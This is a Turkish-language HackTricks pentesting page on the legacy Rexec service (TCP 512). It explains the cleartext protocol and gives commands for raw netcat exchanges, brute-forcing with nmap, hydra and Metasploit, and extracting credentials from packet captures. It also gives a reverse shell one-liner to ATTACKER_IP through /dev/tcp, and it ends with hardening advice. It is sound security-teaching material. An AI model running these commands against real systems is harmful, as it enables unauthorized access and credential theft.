hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

105 lines
5.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
## Temel Bilgiler
Rexec (uzaktan **exec**) orijinal Berkeley *r*-servisleri paketinin bir parçasıdır ( `rlogin`, `rsh`, … ile birlikte). **Sadece düz metin kullanıcı adı ve şifre ile kimlik doğrulaması** yapılan bir **uzaktan komut yürütme** yeteneği sağlar. Protokol, 1980'lerin başında tanımlanmıştır (bkz. RFC 1060) ve günümüzde **tasarım gereği güvensiz** olarak kabul edilmektedir. Yine de, bazı eski UNIX / ağ bağlantılı ekipmanlarda varsayılan olarak etkinleştirilmiştir ve zaman zaman iç pentestler sırasında ortaya çıkmaktadır.
**Varsayılan Port:** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 Tüm trafik kimlik bilgileri de dahil **şifrelenmemiş** olarak iletilir. Ağa göz atma yeteneğine sahip olan herkes kullanıcı adını, şifreyi ve komutu geri alabilir.
### Protokol hızlı bakış
1. İstemci TCP 512'ye bağlanır.
2. İstemci üç **NUL-terminatör** dizesi gönderir:
* stdout/stderr almak istediği port numarası (ASCII olarak) (genellikle `0`),
* **kullanıcı adı**,
* **şifre**.
3. İcra edilecek **komut** ile son bir NUL-terminatör dizesi gönderilir.
4. Sunucu, tek bir 8-bit durum baytı (0 = başarı, `1` = başarısızlık) ve ardından komut çıktısı ile yanıt verir.
Bu, `echo -e` ve `nc` ile değişimi yeniden oluşturabileceğiniz anlamına gelir:
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
Eğer kimlik bilgileri geçerliyse, `id` komutunun çıktısını aynı bağlantı üzerinden doğrudan alacaksınız.
### İstemci ile manuel kullanım
Birçok Linux dağıtımı hala **inetutils-rexec** / **rsh-client** paketinin içinde eski istemciyi sunmaktadır:
```bash
rexec -l user -p password <target> "uname -a"
```
Eğer `-p` atlanırsa, istemci şifreyi etkileşimli olarak istemek için bir istemde bulunacaktır (açık metin olarak ağda görünür!).
---
## Sayım & Kaba kuvvet
### [**Kaba kuvvet**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
`rexec-brute` NSE, yukarıda açıklanan protokolü kullanarak kimlik bilgilerini çok hızlı bir şekilde denemektedir.
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` özel bir **rexec** modülüne sahiptir ve en hızlı çevrimdışı bruteforcer olarak kalır. `medusa` (`-M REXEC`) ve `ncrack` (`rexec` modülü) aynı şekilde kullanılabilir.
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
Modül başarılı olduğunda bir shell oluşturacak ve kimlik bilgilerini veritabanında saklayacaktır.
---
## Kimlik bilgilerini dinleme
Her şey düz metin olduğu için, **ağ yakalamaları paha biçilmezdir**. Trafiğin bir kopyasıyla hedefe dokunmadan kimlik bilgilerini çıkarabilirsiniz:
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wireshark *Decode As …​* TCP 512 → REXEC'i etkinleştirerek güzel bir şekilde ayrıştırılmış alanları görüntüleyin.)
---
## Post-Exploitation ipuçları
* Komutlar sağlanan kullanıcının ayrıcalıklarıyla çalıştırılır. Eğer `/etc/pam.d/rexec` yanlış yapılandırılmışsa (örneğin `pam_rootok`), root shell'leri bazen mümkün olabilir.
* Rexec, kullanıcının shell'ini göz ardı eder ve komutu `/bin/sh -c <cmd>` aracılığıyla çalıştırır. Bu nedenle, birden fazla komutu zincirlemek veya ters shell'ler başlatmak için tipik shell-escape hilelerini (`;`, ``$( )``, backticks) kullanabilirsiniz:
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* Parolalar genellikle diğer sistemlerde **~/.netrc** içinde saklanır; eğer bir host'u ele geçirirseniz, bunları yan hareket için yeniden kullanabilirsiniz.
---
## Güçlendirme / Tespit
* **rexec'i açığa çıkarmayın**; onu SSH ile değiştirin. Neredeyse tüm modern *inetd* süper sunucuları, hizmeti varsayılan olarak yorum satırına alır.
* Eğer onu tutmanız gerekiyorsa, TCP wrapper'lar (`/etc/hosts.allow`) veya güvenlik duvarı kuralları ile erişimi kısıtlayın ve her hesap için güçlü parolalar zorunlu kılın.
* :512'ye giden trafiği ve `rexecd` süreç başlatmalarını izleyin. Tek bir paket yakalama, bir ihlali tespit etmek için yeterlidir.
* `rexec`, `rlogin`, `rsh`'yi birlikte devre dışı bırakın bunlar çoğu aynı kod tabanını ve zayıflıkları paylaşır.
---
## Referanslar
* Nmap NSE `rexec-brute` belgeleri [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Rapid7 Metasploit modülü `auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}